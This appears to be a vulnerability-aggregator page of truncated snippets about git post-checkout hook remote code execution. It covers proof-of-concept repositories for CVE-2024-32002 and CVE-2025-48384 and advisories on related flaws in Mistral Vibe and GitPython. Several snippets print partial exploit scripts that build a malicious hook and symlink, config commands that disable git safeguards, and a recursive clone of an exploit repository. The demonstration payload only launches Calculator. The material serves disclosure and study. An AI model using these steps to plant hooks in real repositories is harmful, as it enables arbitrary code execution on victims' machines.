hooky

hooky This repository is a submodule for https://github.com/markuta/CVE-2024-32002, which contains a simple hook located in y/hooks/post-checkout to open calculator on macOS systems: root@kitploit: open -a Calculator.app More info about the vulnerability can be found here and here...

CVE-2024-32002

GIT RCE CVE-2024-32002 Description | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to...

cve-2024-32002-submodule-rce

CVE-2024-32002 RCE Submodule A submodule to demonstrate CVE-2024-32002. Demonstrates Remote Code Execution RCE by loading a malicious commit hook into the .git directory of the parent repo. See cve-2024-32002-poc-rce for the working POC that utilises this repo. What this repo contains A malicous...

CVE-2024-32002-Exploit

root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

git_rce

CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: root@kitploit: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.13...

hooky

hooky このリポジトリは https://github.com/markuta/CVE-2024-32002 のサブモジュールであり、macOSシステム上で計算機を開くためのシンプルなフックを y/hooks/post-checkout に含んでいます。 root@kitploit: open -a Calculator.app 脆弱性の詳細は こちら と こちら で確認できます。...

CVE-2024-32002-EXP

CVE-2024-32002-EXP root@kitploit: !/bin/bash 设置 Git 配置选项 git config --global protocol.file.allow always git config --global core.symlinks true 避免警告消息（设置默认分叉为main） git config --global init.defaultBranch main 定义 tell-tale 路径 telltalepath="$PWD/tell.tale" 初始化 hook 仓库 git init hook cd hook mkdir -p...

EUVD-2026-83621

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993 Mistral Vibe before 2.25.5 Remote Code Execution via git post-checkout

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in its worktree creation process . The root cause is that git hooks are executed before trust validation , allowing an attacker to supply a repository with a crafted post-checkout hook that runs arbitrary shell commands wit...

CVE-2024-32002-poc

Bash Script: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path...

hook

hook gitrce 的子模块： https://github.com/EQSTSeminar/gitrce 攻击场景 kali192.168.216.129 --提供远程仓库地址-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook 脚本post-checkout执行-- Win192.168.216.130 免责声明 本仓库并非旨在作为针对 CVE-2024-32002 的 git clone RCE 漏洞利用。此项目的目的是帮助人们了解该漏洞，并可能测试他们自己的应用程序。...

CVE-2025-48384-submodule

CVE-2025-48384 Submodule This submodule contains a malicious post-checkout hook for demonstration...

CVE-2025-48384

CVE-2025-48384 PoC Notes This repository was created for security education purposes. Please do not misuse it. This vulnerability requires including \r in directory names, so Linux/Unix systems are affected. The following Git versions are affected: v2.43.x series - less than v2.43.7 v2.44.x serie...

Astra Linux – Vulnerability in Git

Git is a fast, scalable, distributed revision control system with an unusually rich command set. It offers both high-level operations and full access to its internal workings. When reading a config value, Git removes any trailing carriage return and line feed CRLF characters. When writing a confi...

SUSE CVE-2026-73623

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...

Linux Distros Unpatched Vulnerability : CVE-2026-73623

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command executio...

DEBIAN-CVE-2026-73623

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...

CVE-2026-73623

GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...